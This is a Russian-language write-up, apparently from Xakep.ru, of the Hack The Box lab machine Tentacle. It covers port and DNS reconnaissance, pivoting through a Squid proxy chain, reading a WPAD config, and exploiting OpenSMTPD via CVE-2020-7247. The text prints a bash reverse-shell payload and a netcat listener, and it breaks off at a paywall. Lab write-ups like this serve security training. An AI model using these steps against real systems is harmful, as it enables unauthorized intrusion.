Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Первым делом прописываем IP машины в файл /
.
10.10.10.224 tentacle.htb
Сканируем порты скриптом в два прохода:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Находим четыре открытых порта:
- порт 22 — служба SSH;
- порт 53 — служба DNS;
- порт 88 — служба Kerberos;
- порт 3128 — прокси‑сервер Squid 4.11.
С SSH нам пока делать нечего, поскольку учетных данных у нас нет. C DNS и Kerberos тоже пока ничего не сделать. Обращаясь к порту 3128, видим сообщение об ошибке, но из него получаем важные данные — домен и имя пользователя.
Найденное доменное имя добавляем в /
.
10.10.10.224 realcorp.htb
Перебор DNS
Больше ничего сделать не можем, поэтому попробуем поперебирать домены. Для этого используем dnsenum. В параметрах укажем количество потоков (--threads
) и адрес сервера DNS (--dnsserver
), а словарь берем из сборки Seclists.
dnsenum --threads 32 --dnsserver 10.10.10.224 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb
Получаем несколько новых доменных имен и адресов.
Точка входа
Так как на хосте работают служба прокси‑сервера и служба DNS, логично проверить, доступны ли найденные из перебора адреса через этот прокси. Для этого сформируем цепочку прокси с помощью proxychains. Наша цепочка будет пропускать трафик через текущий хост в другую сеть. Proxychains добавит заголовки для маршрутизации пакетов во внутреннюю сеть.
В конфигурационном файле /
создадим три записи. Это и есть наша цепочка.
http 10.10.10.224 3128http 127.0.0.1 3128http 10.197.243.77 3128
Так как имя хоста — WPAD, есть немалое подозрение, что на нем работает одноименная служба. Попробуем достучаться до него и просканировать порты.
proxychains -q nmap -A 10.197.243.31
На этот раз получаем уже больше открытых портов, в том числе и 80-й, где развернут веб‑сервер nginx 1.14.1. Также мы получаем имя хоста — wpad.
. Добавляем его в /
.
10.197.243.31 wpad.realcorp.htb
Теперь на мысль о службе наталкивает не только доменное имя, но и имя хоста. Протокол WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config) — конфигурации прокси. Он представляет собой JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL.
При совершении запроса браузер вызывает функцию FindProxyForURL
из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Чтобы получить эти настройки, WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (что браузерами практически не поддерживается), а затем отправляет HTTP-запрос на http://
и скачивает полученный файл. Значит, мы можем сами запросить файл wpad.
с сервера.
proxychains -q curl wpad.realcorp.htb/wpad.dat
Просматриваем код и находим адреса сетей, о которых мы раньше не знали. Это открывает нам новые возможности для продвижения. Стоит просканировать сеть, чтобы найти новые хосты, а там и точки входа (скрипт я приводил в начале статьи). В результате сканирования находим хост 113, в котором открыт 25-й порт. Его сканируем с использованием скриптов отдельно (опция -A
).
proxychains -q nmap 10.241.251.0/24
proxychains -q nmap -A -p25 10.241.251.113
Перед нами OpenSMTPD. А значит, стоит поискать готовые эксплоиты для него.
Закрепление
Если ты используешь Kali Linux, то для обращения к базе эксплоитов достаточно запустить утилиту searchsploit
:
searchsploit OpenSMTPD
Эксплоит с порядковым номером 47984 выглядит подходящим. Версия уязвимого продукта здесь больше, чем у нас. Эксплоит может дать удаленное выполнение кода через сеанс SMTP. Из описания уязвимости CVE-2020-7247 также узнаем, что баг возникает из‑за неправильного возвращаемого значения при неудачной проверке ввода в функции smtp_mailaddr
(подробности можешь узнать в коде уязвимой функции).
Однако в исходном виде этот эксплоит не срабатывает. Зачастую в таких случаях помогает просто найти альтернативную версию. Так, перебрав несколько вариантов, я наткнулся на рабочий PoC на GitHub.
В коде нужно указать свою нагрузку и поменять имя пользователя, которому отправляется сообщение. В качестве нагрузки используем обычный реверс‑шелл на bash.
bash -i &> /dev/tcp/[IP]/[PORT] 0>&1
Так как мы будем выполнять бэкконнект (шелл на атакуемой машине будет подключаться к нашей), прежде чем запускать эту команду, создадим листенер, который будет принимать соединение. В качестве листенера я использую netcat (команда nc
), а в дополнение к нему — оболочку rlwrap.
apt install rlwrap
rlwrap nc -lvp [port]
Теперь выполним эксплоит и получим бэкконнект.
Продвижение
Пользователь 1
Отлично, мы проникли на машину! Так как мы работаем в контексте учетной записи службы, следующий шаг — получить какого‑либо пользователя. Чаще всего для этого нужно найти учетные данные.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»